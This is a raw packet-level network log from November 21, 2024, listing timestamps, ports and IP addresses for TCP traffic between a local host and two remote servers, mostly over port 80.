Nov 21, 2024 19:58:49.898272991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.898627996 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.898924112 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.898948908 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.898977995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.899060011 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.899574995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.899688959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.899795055 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.900284052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.900343895 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.900382996 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.900479078 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.900975943 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.901032925 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.901088953 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.901683092 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.901731014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.901773930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.901819944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.902395010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.902447939 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.902512074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.902637005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.903094053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.903140068 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.903217077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.903258085 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.903830051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.903876066 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.903878927 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.904123068 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.904525995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.904582977 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.904795885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.904882908 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.905224085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.905246019 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.905273914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.905292034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.905862093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.905970097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.906028032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.906574965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.906626940 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.906754971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.906816006 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.907254934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.907371044 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.907407999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.907470942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.908020973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.908063889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.908078909 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.908165932 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.908710003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.908824921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.908895016 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.909502029 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.909511089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.909565926 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.910072088 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.910129070 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.910166979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.910243034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.910787106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.910928965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.910996914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.911511898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.911726952 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.911745071 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.911910057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.912201881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.912286043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.912368059 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.912425041 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.912940979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.913068056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.913130999 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.913681030 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.913724899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.913813114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.914128065 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.914323092 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.914446115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.914563894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.914655924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.915028095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.915138960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.915208101 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.915750027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.915812969 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.915843010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.916100979 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.916414976 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.916467905 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.916507959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.916594982 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.917119026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.917207003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.917279005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.917639971 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.917788029 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.917859077 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.917917013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.918005943 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.918499947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.918571949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.918618917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.918842077 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.919193029 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.919272900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.919331074 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.919919968 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.919997931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.920021057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.920176983 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.920628071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.920686960 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.920742989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.920794010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.921299934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.921381950 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.921411037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.921515942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.921999931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.922102928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.922107935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.922147036 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.922728062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.922785044 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.922785044 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.923044920 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.923635006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.923872948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.923966885 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.924139977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.924226999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.924293041 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.924809933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.924865961 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.924993992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.925077915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.925512075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.925580978 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.925707102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.925796986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.926214933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.926279068 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.926342010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.926455975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.926939011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.927047014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.927088022 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.927148104 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.927625895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.927702904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.927777052 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.928313017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.928375006 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.928381920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.928602934 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.087587118 CET	443	49776	18.165.220.57	192.168.2.8
Nov 21, 2024 19:58:50.088212013 CET	443	49776	18.165.220.57	192.168.2.8
Nov 21, 2024 19:58:50.088643074 CET	49776	443	192.168.2.8	18.165.220.57
Nov 21, 2024 19:58:50.095474005 CET	49776	443	192.168.2.8	18.165.220.57
Nov 21, 2024 19:58:50.095499039 CET	443	49776	18.165.220.57	192.168.2.8
Nov 21, 2024 19:58:50.102837086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.102845907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.102904081 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.102941036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.103071928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.103127956 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.103643894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.103713989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.103780031 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.104351044 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.104409933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.104450941 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.104481936 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.105040073 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.105144978 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.105206013 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.105808973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.105859995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.105874062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.105935097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.106518984 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.106621027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.106623888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.106666088 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.107161045 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.107217073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.107269049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.107363939 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.107862949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.107949018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.107958078 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.108000040 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.108566999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.108644962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.108676910 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.108989000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.109276056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.109344006 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.109380960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.109428883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.109968901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.110025883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.110059023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.110107899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.110701084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.110760927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.110826015 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.111413002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.111476898 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.111562967 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.112135887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.112195015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.112277031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.112742901 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.112793922 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.112797976 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.112852097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.113483906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.113622904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.113660097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.113676071 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.114191055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.114278078 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.114299059 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.114360094 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.114943027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.115020990 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.115036011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.115165949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.115581989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.115636110 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.115736961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.115786076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.116348982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.116426945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.116453886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.116698027 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.117033005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.117105007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.117110014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.117182970 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.117691040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.117759943 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.117932081 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.118022919 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.118405104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.118483067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.118541002 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.119116068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.119236946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.119306087 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.119813919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.119822979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.119885921 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.120490074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.120625973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.120917082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.120980024 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.121211052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.121279001 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.121342897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.121408939 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.121927023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.121937990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.121985912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.122601986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.122662067 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.122728109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.122793913 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.123295069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.123358011 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.123420954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.123784065 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.123991966 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.124057055 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.124084949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.124177933 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.124737024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.124794006 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.124834061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.124916077 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.125408888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.125473976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.125474930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.125519991 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.126097918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.126137972 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.126189947 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.126794100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.126966000 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.127022028 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.127496958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.127602100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.127650023 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.128191948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.128225088 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.128282070 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.128993034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.129100084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.129152060 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.129658937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.129689932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.129719019 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.129749060 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.130309105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.130346060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.130388975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.130404949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.131094933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.131233931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.131283998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.131376028 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.131716013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.131803036 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.131807089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.131844997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.132442951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.132483006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.132529974 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.132545948 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.133074999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.133140087 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.133191109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.133513927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.133796930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.133887053 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.133903027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.133944988 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.134521961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.134602070 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.134640932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.134696960 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.135205984 CET	80	49746	185.215.113.206	192.168.2.8
